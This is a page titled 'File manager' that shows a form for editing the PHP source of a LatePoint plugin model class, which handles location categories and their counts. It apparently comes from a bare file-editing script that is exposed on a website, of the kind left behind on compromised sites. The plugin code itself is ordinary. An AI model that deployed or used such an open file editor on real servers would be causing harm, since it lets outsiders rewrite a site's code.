File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php

class OsLocationCategoryModel extends OsModel{
  public $id,
      $name,
      $parent_id,
      $selection_image_id,
      $order_number,
      $short_description;

  function __construct($id = false){
    parent::__construct();
    $this-&gt;table_name = LATEPOINT_TABLE_LOCATION_CATEGORIES;
    $this-&gt;nice_names = array(
                              &#039;name&#039; =&gt; __(&#039;Location Category Name&#039;, &#039;latepoint&#039;),
                              &#039;short_description&#039; =&gt; __(&#039;Location Category Short Description&#039;, &#039;latepoint&#039;),
                              &#039;selection_image_id&#039; =&gt; __(&#039;Location Category Selection Image&#039;, &#039;latepoint&#039;));

    if($id){
      $this-&gt;load_by_id($id);
    }
  }

	public function generate_data_vars(): array {
		return [
			&#039;id&#039; =&gt; $this-&gt;id,
			&#039;name&#039; =&gt; $this-&gt;name
			];
	}

	public function count_locations(){
    $location = new OsLocationModel();
    $total_location = $location-&gt;filter_allowed_records()-&gt;where([&#039;category_id&#039; =&gt; $this-&gt;id])-&gt;should_be_active()-&gt;count();
    $child_categories = new OsLocationCategoryModel();
    $child_categories = $child_categories-&gt;where([&#039;parent_id&#039; =&gt; $this-&gt;id])-&gt;get_results_as_models();
    if($child_categories){
      foreach($child_categories as $child_category){
        $total_location = $total_location + $child_category-&gt;count_locations();
      }
    }
    return $total_location;
  }

  public function delete($id = false){
    if(!$id &amp;&amp; isset($this-&gt;id)){
      $id = $this-&gt;id;
    }
    if($id &amp;&amp; $this-&gt;db-&gt;delete( $this-&gt;table_name, array(&#039;id&#039; =&gt; $id), array( &#039;%d&#039; ))){
      $this-&gt;db-&gt;update(LATEPOINT_TABLE_SERVICES, array(&#039;category_id&#039; =&gt; 0), array( &#039;category_id&#039; =&gt; $id ), array( &#039;%d&#039; ) );
      $this-&gt;db-&gt;update($this-&gt;table_name, array(&#039;parent_id&#039; =&gt; NULL), array( &#039;parent_id&#039; =&gt; $id ), array( &#039;%d&#039; ) );
      return true;
    }else{
      return false;
    }
  }

  public function get_selection_image_url(){
    $default_location_image_url = LATEPOINT_IMAGES_URL . &#039;location-image.png&#039;;
    return OsImageHelper::get_image_url_by_id($this-&gt;selection_image_id, &#039;thumbnail&#039;, $default_location_image_url);
  }

  protected function properties_to_validate(){
    $validations = array(
      &#039;name&#039; =&gt; array(&#039;presence&#039;, &#039;uniqueness&#039;),
    );
    return $validations;
  }

  public function index_for_select(){
    $categories = $this-&gt;db-&gt;get_results(&quot;SELECT id, name FROM &quot;.$this-&gt;table_name);
    $categories_for_select = array();

    $categories_for_select[] = array(&#039;value&#039; =&gt; 0, &#039;label&#039; =&gt; __(&#039;Not categorized&#039;, &#039;latepoint&#039;));
    foreach($categories as $category){
      $categories_for_select[] = array(&#039;value&#039; =&gt; $category-&gt;id, &#039;label&#039; =&gt; $category-&gt;name);
    }

    return $categories_for_select;
  }

  protected function allowed_params($role = &#039;admin&#039;){
    $allowed_params = array(&#039;id&#039;, 
                            &#039;name&#039;, 
                            &#039;short_description&#039;, 
                            &#039;selection_image_id&#039;,
                            &#039;parent_id&#039;,
                            &#039;order_number&#039;);
    return $allowed_params;
  }


  protected function params_to_save($role = &#039;admin&#039;){
    $params_to_save = array(&#039;id&#039;, 
                            &#039;name&#039;, 
                            &#039;short_description&#039;, 
                            &#039;selection_image_id&#039;,
                            &#039;parent_id&#039;,
                            &#039;order_number&#039;);
    return $params_to_save;
  }

  public function get_active_locations($filter_allowed_records = false){
    if(!isset($this-&gt;active_locations)){
      $location = new OsLocationModel();
			if($filter_allowed_records) $location-&gt;filter_allowed_records();
      $location-&gt;should_be_active()-&gt;where(array(&#039;category_id&#039;=&gt; $this-&gt;id))-&gt;order_by(&#039;order_number asc&#039;);
      $this-&gt;active_locations = $location-&gt;get_results_as_models();
    }
    return $this-&gt;active_locations;
  }

  protected function get_locations($filter_allowed_records = false){
    if(!isset($this-&gt;locations)){
      $location = new OsLocationModel();
			if($filter_allowed_records) $location-&gt;filter_allowed_records();
      $this-&gt;locations = $location-&gt;where(array(&#039;category_id&#039;=&gt; $this-&gt;id))-&gt;order_by(&#039;order_number asc&#039;)-&gt;get_results_as_models();
    }
    return $this-&gt;locations;
  }

}</textarea><input type='submit' name='save' value='Save' style=''/></form>